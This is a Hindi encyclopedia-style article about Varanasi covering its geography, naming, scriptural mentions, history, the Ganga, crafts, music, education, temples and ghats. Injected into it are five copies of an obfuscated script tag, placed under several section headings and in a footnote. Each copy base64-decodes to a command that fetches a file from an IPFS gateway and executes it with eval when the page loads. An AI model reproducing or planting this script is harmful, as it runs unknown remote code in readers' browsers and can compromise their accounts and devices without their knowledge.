वाराणसी, बनारस या काशी भी कहलाता है। वाराणसी दक्षिण-पूर्वी उत्तर प्रदेश राज्य, उत्तरी-मध्य भारत में गंगा नदी के बाएँ तट पर स्थित है और हिन्दुओं के सात पवित्र नगरों में से एक है। इसे मन्दिरों एवं घाटों का नगर भी कहा जाता है। वाराणसी का पुराना नाम काशी है। वाराणसी विश्व का प्राचीनतम बसा हुआ शहर है। यह गंगा नदी के किनारे बसा है और हज़ारों साल से उत्तर भारत का धार्मिक एवं सांस्कृतिक केन्द्र रहा है। दो नदियों वरुणा और असि के मध्य बसा होने के कारण इसका नाम वाराणसी पड़ा। बनारस या वाराणसी का नाम पुराणों, रामायण, महाभारत जैसे अनेकानेक ग्रन्थों में मिलता है। वेदों में भी काशी का उल्लेख है। संस्कृत पढ़ने प्राचीन काल से ही लोग वाराणसी आया करते थे। वाराणसी के घरानों की हिन्दुस्तानी संगीत में अपनी ही शैली है।

स्थिति

वाराणसी भारतवर्ष की सांस्कृतिक एवं धार्मिक नगरी के रूप में विख्यात है। इसकी प्राचीनता की तुलना विश्व के अन्य प्राचीनतम नगरों जेरुसलेम, एथेंस तथा पेइकिंग (बीजिंग) से की जाती है।[1] वाराणसी गंगा के बाएँ तट पर अर्द्धचंद्राकार में 250 18’ उत्तरी अक्षांश एवं 830 1’ पूर्वी देशांतर पर स्थित है। प्राचीन वाराणसी की मूल स्थिति विद्वानों के मध्य विवाद का विषय रही है।

विद्वानों के मतानुसार

शेरिंग,[2] मरडाक,[3] ग्रीब्ज,[4] और पारकर[5] जैसे विद्वानों के मतानुसार प्राचीन वाराणसी वर्तमान नगर के उत्तर में सारनाथ के समीप स्थित थी। किसी समय वाराणसी की स्थिति दक्षिण भाग में भी रही होगी। लेकिन वर्तमान नगर की स्थिति वाराणसी से पूर्णतया भिन्न है, जिससे यह प्राय: निश्चित है कि वाराणसी नगर की प्रकृति यथासमय एक स्थान से दूसरे स्थान पर विस्थापित होने की रही है। यह विस्थापन मुख्यतया दक्षिण की ओर हुआ है, पर किसी पुष्ट प्रमाण के अभाव में विद्वानों का उक्त मत समीचीन नहीं प्रतीत होता है।

गंगा नदी के तट पर बसे इस शहर को ही भगवान शिव ने पृथ्वी पर अपना स्‍थायी निवास बनाया था। यह भी माना जाता है कि वाराणसी का निर्माण सृष्टि रचना के प्रारम्भिक चरण में ही हुआ था। यह शहर प्रथम ज्‍योर्तिलिंग का भी शहर है। पुराणों में वाराणसी को ब्रह्मांड का केंद्र बताया गया है तथा यह भी कहा गया है यहाँ के कण-कण में शिव निवास करते हैं। वाराणसी के लोगों के अनुसार, काशी के कण-कण में शिवशंकर हैं। इनके कहने का अर्थ यह है कि यहाँ के प्रत्‍येक पत्‍थर में शिव का निवास है। कहते हैं कि काशी शंकर भगवान के त्रिशूल पर टिकी है।

हेवेल की दृष्टि में

हेवेल की दृष्टि में वाराणसी नगर की स्थिति विस्थापन प्रधान थी, अपितु प्राचीन काल में भी वाराणसी का वर्तमान स्वरूप सुरक्षित था।[6] हेवेल के मतानुसार बुद्ध पूर्व युग में आधुनिक सारनाथ एक घना जंगल था और यह विभिन्न धर्मावलंबियों का आश्रय स्थल भी था। भौगोलिक दशाओं के परिप्रेक्ष्य में हेवेल का मत युक्तिसंगत प्रतीत होता है। वास्तव में वाराणसी नगर का अस्तित्व बुद्ध से भी प्राचीन है तथा उनके आविर्भाव के सदियों पूर्व से ही यह एक धार्मिक नगरी के रूप में ख्याति प्राप्त था। सारनाथ का उद्भव महात्मा बुद्ध के प्रथम धर्मचक्र प्रवर्तन के उपरांत हुआ। रामलोचन सिंह ने भी कुछ संशोधनों के साथ हेवेल के मत का समर्थन किया है। उनके अनुसार नगर की मूल स्थिति प्राय: उत्तरी भाग में स्वीकार करनी चाहिए।[7] हाल में अकथा के उत्खनन से इस बात की पुष्टि होती है कि वाराणसी की प्राचीन स्थिति उत्तर में थी जहाँ से 1300 ईसा पूर्व के अवशेष प्रकाश में आये हैं।

नामकरण

‘वाराणसी’ शब्द ‘वरुणा’ और ‘असी’ दो नदीवाचक शब्दों के योग से बना है। पौराणिक अनुश्रुतियों के अनुसार 'वरुणा' और 'असि' नाम की नदियों के बीच में बसने के कारण ही इस नगर का नाम वाराणसी पड़ा।

  • 'पद्मपुराण' के एक उल्लेख के अनुसार दक्षिणोत्तर में ‘वरना’ और पूर्व में ‘असि’ की सीमा से घिरे होने के कारण इस नगर का नाम वाराणसी पड़ा।[8]
  • 'अथर्ववेद'[9] में वरणावती नदी का उल्लेख है। संभवत: यह आधुनिक वरुणा का ही समानार्थक है।
  • 'अग्निपुराण' में नासी नदी का उल्लेख मिलता है।

पौराणिक उल्लेख

'महाभारत' में 'काशी' का नाम 'वाराणसी' भी मिलता है-

'समेतं पार्थिवंक्षत्रं वाराणस्यां नदीसुतः, कन्यार्थमाह्वयद् वीरो रथनैकेन संयुगे।'[10]

'ततो वाराणसीं गत्वा अर्चयित्वा वृषभध्वजम्, कपिलाह्नदे नरः स्नात्वा राजसूयमवाप्नुयात्।'[11]

जैन ग्रंथ 'प्रज्ञापणा सूत्र' में भी वाराणसी का उल्लेख है। 'विविधितीर्थकल्प' के अनुसार असी गंगा और वरुणा के तट पर स्थित होने के कारण यह नगरी 'वाराणसी' कहलाती थी। वाराणसी के संबंध में महाराजा हरिश्चन्द्र की कथा, रूपांतरण के साथ इस जैन ग्रंथ में वर्णित है। वाराणसी के इस ग्रंथ में पांच मुख्य विभाग बतलाए गए हैं[12]-

  1. 'देव वाराणसी', जहां विश्वनाथ का मन्दिर था तथा चैबीस जिनपट्ट स्थित हैं,
  2. राजधानी वाराणसी
  3. यवनों का निवास स्थान
  4. मदन वाराणसी
  5. विजय वाराणसी

'दंतखात सरोवर' के निकट तीर्थंकर पार्श्वनाथ का चैत्य स्थित था और उससे 6 मील की दूरी पर बोधिसत्व का मंदिर था।

वाराणसी

इतिहास

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ऐतिहासिक आलेखों से प्रमाणित होता है कि ईसा पूर्व की छठी शताब्दी में वाराणसी भारत का बड़ा ही समृद्धशाली और महत्त्वपूर्ण राज्य था। मध्य युग में यह कन्नौज राज्य का अंग था और बाद में बंगाल के पाल नरेशों का इस पर अधिकार हो गया था। सन् 1194 में शहाबुद्दीन ग़ोरी ने इस नगर को लूटा और क्षति पहुँचायी। मुग़ल काल में इसका नाम बदल कर मुहम्मदाबाद रखा गया। बाद में इसे अवध दरबार के प्रत्यक्ष नियंत्रण में रखा गया। बलवंत सिंह ने बक्सर की लड़ाई में अंग्रेज़ों का साथ दिया और इसके उपलक्ष्य में वाराणसी को अवध दरबार से स्वतंत्र कराया। सन् 1911 में अंग्रेज़ों ने महाराज प्रभुनारायण सिंह को वाराणसी का राजा बना दिया। सन् 1950 में यह राज्य स्वेच्छा से भारतीय गणराज्य में शामिल हो गया। वाराणसी विभिन्न मत-मतान्तरों की संगम स्थली रही है। विद्या के इस पुरातन और शाश्वत नगर ने सदियों से धार्मिक गुरुओं, सुधारकों और प्रचारकों को अपनी ओर आकृष्ट किया है। भगवान बुद्ध और शंकराचार्य के अलावा रामानुज, वल्लभाचार्य, संत कबीर, गुरु नानक, तुलसीदास, चैतन्य महाप्रभु, रैदास आदि अनेक संत इस नगरी में आये।

भौगोलिक स्थिति

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वाराणसी नगर की रचना गंगा के किनारे है, जिसका विस्तार लगभग 5 मील में है। ऊँचाई पर बसे होने के कारण अधिकतर वाराणसी बाढ़ की विभीषिका से सुरक्षित रहता है, परंतु वाराणसी के मध्य तथा दक्षिणी भाग के निचले इलाक़े प्रभावित होते हैं। नगर के आकार की धार्मिक मान्यताओं के आधार पर व्याख्या करने के अनेक प्रयास किए गये हैं। इन मान्यताओं की भौगोलिक व्याख्या को कमोवेश स्वीकारा गया है। ऐसे सामान्यत: प्रचलित विश्वासों की सूची इस प्रकार बनाई है।

प्रचलित विश्वासों की सूची

कृत त्रिशूल

इस त्रिशूल के तीन शूल हैं- उत्तर में ओंकारेश्वर, मध्य में विश्वेश्वर तथा दक्षिण में केदारेश्वर। यह तीनों गंगा तट पर स्थित हैं। मांन्यता है कि यह नगरी भगवान शिव को समर्पित है और उनके त्रिशूल पर स्थित है।

त्रेतायुग चक्र

चौरासी कोस यात्रा के तदनुरूप है और मध्यमेश्वर इसका केन्द्र है जो गंगा के निकट अवस्थित है।

द्वापर रथ

सात प्रकार के शिव मंदिर, रथ का समरूप बनाते हैं। ये हैं- गोकर्णेश्वर, सुलतानकेश्वर, मणिकर्णेश्वर, भारभूतेश्वर, विश्वेश्वर, मध्यमेश्वर तथा ओंकारेश्वर। इस आकार में भी गंगा नदी की महत्त्वपूर्ण भूमिका है।

शंखाकार

यहाँ भी मंदिरों की स्थिति के समरूप आकार माना गया है और गंगा नदी यह आकार निर्धारित करती है। इस आकार को बनाने वाले मंदिर हैं- उत्तर पश्चिम में विध्नराज और विनायक, उत्तर में शैलेश्वर, दक्षिण पूर्व में केदारेश्वर और दक्षिण में लोलार्क।

वाराणसी घाट

वाराणसी की नदियाँ

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वाराणसी का विस्तार गंगा नदी के दो संगमों वरुणा और असी नदी से संगम के बीच बताया जाता है। इन संगमों के बीच की दूरी लगभग 2.5 मील है। इस दूरी की परिक्रमा हिन्दुओं में पंचकोसी यात्रा या पंचकोसी परिक्रमा कहलाती है। वाराणसी ज़िले की नदियों के विस्तार से अध्ययन करने पर यह ज्ञात होता है कि वाराणसी में तो प्रस्रावक नदियाँ है लेकिन चंदौली में नहीं है जिससे उस ज़िले में झीलें और दलदल हैं, अधिक बरसात होने पर गाँव पानी से भर जाते हैं तथा फ़सल को काफ़ी नुक़सान पहुँचता है।

गंगा

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

गंगा का वाराणसी की प्राकृतिक रचना में मुख्य स्थान है। गंगा वाराणसी में गंगापुर के बेतवर गाँव से पहले घुसती है। यहाँ पर इससे सुबहा नाला आ मिला है। वाराणसी को वहाँ से प्राय: सात मील तक गंगा मिर्ज़ापुर ज़िले से अलग करती है और इसके बाद वाराणसी ज़िले में वाराणसी और चन्दौली को विभाजित करती है। गंगा की धारा अर्ध-वृत्ताकार रूप में वर्ष भर बहती है। इसके बाहरी भाग के ऊपर करारे पड़ते हैं और भीतरी भाग में बालू अथवा बाढ़ की मिट्टी मिलती है। गंगा का रुख़ पहले उत्तर की तरफ़ होता हुआ रामनगर के कुछ आगे तक देहात अमानत को राल्हूपुर से अलग करता है। यहाँ पर किनारा कंकरीला है और नदी उसके ठीक नीचे बहती है। यहाँ तूफ़ान में नावों को काफ़ी ख़तरा रहता है। देहात अमानत में गंगा का बांया किनारा मुंडादेव तक चला गया है। इसके नीचे की ओर वह रेत में परिणत हो जाता है और बाढ़ में पानी से भर जाता है। रामनगर छोड़ने के बाद गंगा की उत्तर-पूर्व की ओर झुकती दूसरी केहुनी (कमान, तरफ़) शुरू होती है। धारा यहाँ बायें किनारे से लगकर बहती है।

अर्थव्यवस्था

उद्योग और व्यापार

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वाराणसी कला, हस्तशिल्प, संगीत और नृत्य का भी केन्द्र है। यह शहर रेशम, सोने व चाँदी के तारों वाले ज़री के काम, लकड़ी के खिलौनों, काँच की चूड़ियों, हाथी दाँत और पीतल के काम के लिए प्रसिद्ध है। यहाँ के प्रमुख उद्योगों में रेल इंजन निर्माण इकाई शामिल है।

Blockquote-open.gif काशी को 'महाश्‍मशान' के नाम से भी जाना जाता है। इसे पृथ्वी की सबसे बड़ी शमशान भूमि माना जाता था। यहाँ के मणिकर्णिका घाट तथा हरिश्‍चंद्र घाट को सबसे पवित्र घाट माना जाता है। Blockquote-close.gif

वाराणसी के कारीगरों के कला- कौशल की ख्याति सुदूर प्रदेशों तक में रही है। वाराणसी आने वाला कोई भी यात्री यहाँ के रेशमी किमखाब तथा ज़री के वस्त्रों से प्रभावित हुए बिना नहीं रह सकता। यहाँ के बुनकरों की परंपरागत कुशलता और कलात्मकता ने इन वस्तुओं को संसार भर में प्रसिद्धि और मान्यता दिलायी है । विदेश व्यापार में इसकी विशिष्ट भूमिका है । इसके उत्पादन में बढ़ोत्तरी और विशिष्टता से विदेशी मुद्रा अर्जित करने में बड़ी सफलता मिली है । रेशम तथा ज़री के उद्योग के अतिरिक्त, यहाँ पीतल के बर्तन तथा उन पर मनोहारी काम और संजरात (झांझ मझीरा) उद्योग भी अपनी कला और सौंदर्य के लिए विख्यात हैं । इसके अलावा यहाँ के लकड़ी के खिलौने भी दूर- दूर तक प्रसिद्ध हैं, जिन्हें कुटीर उद्योगों में महत्त्वपूर्ण स्थान प्राप्त हैं ।

वाणिज्य और व्यापार का प्रमुख केंद्र

वाराणसी नगर वाणिज्य और व्यापार का एक प्रमुख केंद्र था। स्थल तथा जल मार्गों द्वारा यह नगर भारत के अन्य नगरों से जुड़ा हुआ था। काशी से एक मार्ग राजगृह को जाता था।[13] काशी से वेरंजा जाने के लिए दो रास्ते थे-

  1. सोरेय्य होकर
  2. प्रयाग में गंगा पार करके।

दूसरा मार्ग बनारस से वैशाली को चला जाता था।[14] वाराणसी का एक सार्थवाह पाँच सौ गाड़ियों के साथ प्रत्यंत देश गया था और वहाँ से चंदन लाया था।[15]

कला और संस्कृति

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वाराणसी की कला और संस्कृति अद्वितीय है। यह वाराणसी की समृद्ध सांस्कृतिक परंपरा है जिसकी वजह से यह भारत की सांस्कृतिक राजधानी कहलाती है। पुरातत्त्व, पौराणिक कथाओं, भूगोल, कला और इतिहास का एक संयोजन वाराणसी भारतीय संस्कृति को एक महान् केंद्र बनाता है। हालांकि वाराणसी मुख्य रूप से हिंदू धर्म और बौद्ध धर्म के साथ जुड़ा हुआ है, लेकिन वाराणसी में पूजा और धार्मिक संस्थाओं के कई धार्मिक विश्वासों की झलक पा सकते हैं।

वाराणसी, भारतीय कला और संस्कृति का पूरा एक संग्रहालय प्रस्तुत करता है। वाराणसी में इतिहास के पाठ्यक्रम में बदलते पैटर्न और आंदोलनों को महसूस कर सकते हैं। सदियों से वाराणसी ने मास्टर कारीगरों का उत्पादन किया है और और अपनी सुंदर साड़ी, हस्तशिल्प, वस्त्र, खिलौने, गहने, धातु का काम, मिट्टी और लकड़ी और अन्य शिल्प के लिए नाम और प्रसिद्धि अर्जित की है।

वाराणसी ने कई प्रसिद्ध विद्वानों और बुद्धिजीवियों, जो गतिविधि के संबंधित क्षेत्रों में अपनी छाप छोड़ गये है, को जन्म दिया है। वाराणसी, एक अद्वितीय सामाजिक और सांस्कृतिक कपड़े प्रस्तुत करता है। संगीत, नाटक, और मनोरंजन वाराणसी के साथ पर्याय रहे है। बनारस लंबे समय से अपने संगीत, मुखर और वाद्य दोनों के लिए प्रसिद्ध रहा है और अपने खुद के नृत्य परंपराओं, वाराणसी लोक संगीत और नाटक, मेलों और त्योहारों, अखाड़े, खेल आदि का एक बहुत ही पुराना केन्द्र रहा है।

संगीत

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  • वाराणसी गायन एवं वाद्य दोनों ही विद्याओं का केंद्र रहा है।
  • सुमधुर ठुमरी भारतीय कंठ संगीत को वाराणसी की विशेष देन है।
  • इसमें धीरेंद्र बाबू, बड़ी मोती, छोती मोती, सिद्धेश्वर देवी, रसूलन बाई, काशी बाई, अनवरी बेगम, शांता देवी तथा इस समय गिरिजा देवी आदि का नाम समस्त भारत में बड़े गौरव एवं सम्मान के साथ लिया जाता है।

बनारसी साड़ी

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  • बनारसी साड़ियों दुनियाभर में प्रसिद्ध हैं। लाल, हरी और अन्य गहरे रंगों की ये साड़ियां हिंदू परिवारों में किसी भी शुभ अवसर के लिए आवश्यक मानी जाती हैं।
  • उत्तर भारत में अधिकांश बेटियाँ बनारसी साड़ी में ही विदा की जाती हैं।
  • बनारसी साड़ियों की कारीगरी सदियों पुरानी है।

शिक्षण संस्थान

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वाराणसी पूर्व से ही विद्या और शिक्षा के क्षेत्र में एक अहम प्रचारक और केन्द्रीय संस्था के रूप में स्थापित था। मध्यकाल के दौरान उत्तर प्रदेश में उदार परम्परा का संचालन था। वाराणसी 'हिन्दू शिक्षा केन्द्र' के रूप में विश्वव्यापक हुआ। वाराणसी के उच्चतर माध्यमिक विद्यालय 'इंडियन सर्टिफिकेट ऑफ़ सैकेंडरी एजुकेशन' [16], 'केन्द्रीय माध्यमिक शिक्षा बोर्ड' [17] या 'उत्तर प्रदेश माध्यमिक शिक्षा परिषद' [18] से सहबद्ध हैं। प्राचीन काल से ही लोग यहाँ दर्शन शास्त्र, संस्कृत, खगोल शास्त्र, सामाजिक ज्ञान एवं धार्मिक शिक्षा आदि के ज्ञान के लिये आते रहे हैं। भारतीय परंपरा में प्रायः वाराणसी को सर्वविद्या की राजधानी कहा गया है। वाराणसी में एक जामिया सलाफ़िया भी है, जो सलाफ़ी इस्लामी शिक्षा का केन्द्र है।

काशी हिन्दू विश्वविद्यालय

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काशी हिन्दू विश्वविद्यालय या बनारस हिन्दू विश्वविद्यालय वाराणसी में स्थित एक केन्द्रीय विश्वविद्यालय है। इस विश्वविद्यालय की स्थापना [19] के अंतर्गत हुई थी। पण्डित मदनमोहन मालवीय ने काशी हिन्दू विश्वविद्यालय की स्थापना का प्रारम्भ 1904 ई. में किया, जब काशी नरेश 'महाराज प्रभुनारायण सिंह' की अध्यक्षता में संस्थापकों की प्रथम बैठक हुई। 1905 ई. में विश्वविद्यालय का प्रथम पाठ्यक्रम प्रकाशित हुआ।

साहित्य

वाराणसी संस्कृत साहित्य का केंद्र तो रही ही है, लेकिन इसके साथ ही इस नगर ने हिन्दी तथा उर्दू में अनेक साहित्यकारों को भी जन्म दिया है, जिन्होंने साहित्य सेवा की तथा देश में गौरव पूर्ण स्थान प्राप्त किया। इनमें भारतेंदु हरिश्चंद्र, अयोध्यासिंह उपाध्याय 'हरिऔध', जयशंकर प्रसाद, प्रेमचंद, श्यामसुन्दर दास, राय कृष्णदास, आचार्य रामचन्द्र शुक्ल, रामचंद्र वर्मा, पाण्डेय बेचन शर्मा 'उग्र', विनोदशंकर व्यास, कृष्णदेव प्रसाद गौड़ तथा डॉ. सम्पूर्णानंद उल्लेखनीय हैं। इनके अतिरिक्त उर्दू साहित्य में भी यहाँ अनेक जाने- माने लेखक एवं शायर हुए हैं। जिनमें मुख्यतः श्री विश्वनाथ प्रसाद शाद, मौलवी महेश प्रसाद, महाराज चेतसिंह, शेखअली हाजी, आग़ा हश्र कश्मीरी, हुकुम चंद्र नैयर, प्रो. हफीज बनारसी, श्री हक़ बनारसी तथा नज़ीर बनारसी का नाम आता है।

उत्सवप्रियता

वाराणसी के निवासियों की उत्सवप्रियता का उल्लेख जातकों में सविस्तार मिलता है। महाजनपद युग में दीपावली का उल्लेख मुख्य त्योहारों में हुआ है। एक जातक में उल्लेखित है कि काशी की दीपमालिका कार्तिक मास में मनायी जाती थी। इस अवसर पर स्त्रियाँ केसरिया रंग के वस्त्र पहनकर निकलती थीं।[20]

हस्तिमंगलोत्सव

हस्तिमंगलोत्सव भी वाराणसी का एक प्रमुख उत्सव था,[21] जिसका उल्लेख जातकों एवं बौद्ध साहित्य में मिलता है। इसके अतिरिक्त मंदिरोत्सव भी मनाया जाता था, जिसमें सुरापान किया जाता था।[22] एक जातक में उल्लेख आया है कि काशीराज ने एक बार इस अवसर पर तपस्वियों को खूब सुरापान कराया था।[23]

वाराणसी के मन्दिर

वाराणसी में कई प्रमुख मंदिर स्थित हैं। वाराणसी कई प्रमुख मंदिरों का नगर है। वाराणसी में लगभग हर एक चौराहे पर एक मंदिर स्थित है। दैनिक स्थानीय अर्चना के लिये ऐसे छोटे मंदिर सहायक होते हैं। इन छोटे मंदिरों के साथ ही वाराणसी में ढेरों बड़े मंदिर भी हैं, जो समय-समय पर वाराणसी के इतिहास में बनवाये गये थे। वाराणसी में स्थित इन मंदिरों में काशी विश्वनाथ मंदिर, अन्नपूर्णा मंदिर, ढुंढिराज गणेश, काल भैरव, दुर्गा जी का मंदिर, संकटमोचन, तुलसी मानस मंदिर, नया विश्वनाथ मंदिर, भारतमाता मंदिर, संकठा देवी मंदिर व विशालाक्षी मंदिर प्रमुख हैं।

काशी विश्‍वनाथ मंदिर

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मूल काशी विश्‍वनाथ मंदिर बहुत छोटा था। 18वीं शताब्‍दी में इंदौर की रानी अहिल्‍याबाई होल्‍कर ने इसे भव्‍य रूप प्रदान किया। पंजाब के शासक राजा रंजीत सिंह ने 1835 ई. में इस मंदिर के शिखर को सोने से मढ़वाया था। इस कारण इस मंदिर का एक अन्‍य नाम गोल्‍डेन टेम्‍पल भी पड़ा। यह मंदिर कई बार ध्‍वस्‍त किया गया। वर्तमान में जो मंदिर है उसका निर्माण चौथी बार में हुआ है। क़ुतुबुद्दीन ऐबक ने सर्वप्रथम इसे 1194 ई. में ध्‍वस्‍त किया था। रज़िया सुल्तान (1236-1240) ने इसके ध्‍वंसावशेष पर रज़िया मस्जिद का निर्माण करवाया था। इसके बाद इस मंदिर का निर्माण अभिमुक्‍तेश्‍वर मंदिर के नज़दीक बनवाया गया। बाद में इस मंदिर को जौनपुर के शर्की राजाओं ने तुड़वा दिया। 1490 ई. में इस मंदिर को सिकन्दर लोदी ने ध्‍वंस करवाया था। 1585 ई. में बनारस के एक प्रसिद्ध व्‍यापारी टोडरमल ने इस मंदिर का निर्माण करवाया। 1669 ई. में इस मंदिर को औरंगज़ेब ने पुन: तुड़वा दिया। औरंगज़ेब ने भी इस मंदिर के ध्‍वंसावशेष पर एक मस्जिद का निर्माण करवाया था।

वाराणसी के घाट

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वाराणसी (काशी) में गंगा तट पर अनेक सुंदर घाट बने हैं, ये सभी घाट किसी न किसी पौराणिक या धार्मिक कथा से संबंधित हैं। वाराणसी के घाट गंगा नदी के धनुष की आकृति होने के कारण मनोहारी लगते हैं। सभी घाटों के पूर्वार्भिमुख होने से सूर्योदय के समय घाटों पर पहली किरण दस्तक देती है। उत्तर दिशा में राजघाट से प्रारम्भ होकर दक्षिण में अस्सी घाट तक सौ से अधिक घाट हैं।

पर्यटन

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वाराणसी, पर्यटकों के लिए आकर्षण का केंद्र है। यहाँ अनेक धार्मिक, ऐतिहासिक एवं सुंदर दर्शनीय स्थल हैं, जिन्हें देखने के लिए देश के ही नहीं, संसार भर से पर्यटक आते हैं और इस नगरी तथा यहाँ की संस्कृति की भूरि-भूरि प्रशंसा करते हैं। कला, संस्कृति,साहित्य और राजनीति के विविध क्षेत्रों में अपनी अलग पहचान बनाये रखने के कारण वाराणसी अन्य नगरों की अपेक्षा अपना विशिष्ट स्थान रखती है। देश की राष्ट्रभाषा हिन्दी की जननी संस्कृत की उद्भव स्थली काशी सांस्कृतिक एकता का प्रतीक है।

जनसंख्या

2001 की जनगणना के अनुसार नगर निगम क्षेत्र की जनसंख्या 11,22,748 है, छावनी क्षेत्र की जनसंख्या 17,246 और ज़िले की जनसंख्या 31,3867 है।[24]


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वीथिका

टीका टिप्पणी और संदर्भ

  1. डायना एल इक, बनारस सिटी ऑफ़ लाइट (न्यूयार्क, 1982), प्रथम संस्करण, पृष्ठ 4
  2. एम. ए. शेरिंग, दि सेक्रेड सिटीज ऑफ़ दि हिन्दूज, (लंदन, 1968) पृष्ठ 19-34
  3. जे. मरडाक, काशी और बनारस (1894) पृष्ठ 5
  4. ई. ग्रीब्ज, काशी, इलाहाबाद, 1909, पृष्ठ 3-4
  5. ए. पारकर, ए हैंडबुक ऑफ़ बनारस, पृष्ठ 2
  6. ई.वी. हैवेल, बनारस दि सेक्रेड सिटी पृष्ठ 41-50
  7. रामलोचन सिंह, बनारस, एक सिटी इन अर्बन ज्योग्राफी, पृष्ठ 31
  8. वाराणसीति यत् ख्यातं तम्मानं निगदामिव। दक्षिणातरयौ नयौ परणासिश्चपूर्णत:॥- पद्मपुराण, काशी माहात्म्य 5/58
  9. अथर्ववेद, 4/7/1
  10. महाभारत, शांतिपर्व 37, 9
  11. महाभारत, वनपर्व 84, 78
  12. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 844 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  13. विनयपिटक, जिल्द 1, पृष्ठ 262
  14. मोतीचंद्र, काशी का इतिहास, पृष्ठ 49
  15. सुत्तनिपात, अध्याय 2, पृष्ठ 523
  16. आई.सी.एस.ई
  17. सी.बी.एस.ई
  18. यू.पी.बोर्ड
  19. बनारस हिन्दू विश्वविद्यालय एक्ट, एक्ट क्रमांक 16, सन् 1915
  20. जातक, भाग 2, पृष्ठ 145 (संख्या 147) मोतीचंद्र, काशी का इतिहास, पृष्ठ 45
  21. जातक, भाग 2, संख्या 163, पृष्ठ 215
  22. जातक, भाग 2, संख्या 163, पृष्ठ 132
  23. 139- जातक, भाग 1, पृष्ठ 208
  24. वाराणसी (अंग्रेज़ी) (एच.टी.एम.एल) वाराणसी की आधिकारिक वेबसाइट। अभिगमन तिथि: 23 फ़रवरी, 2011।

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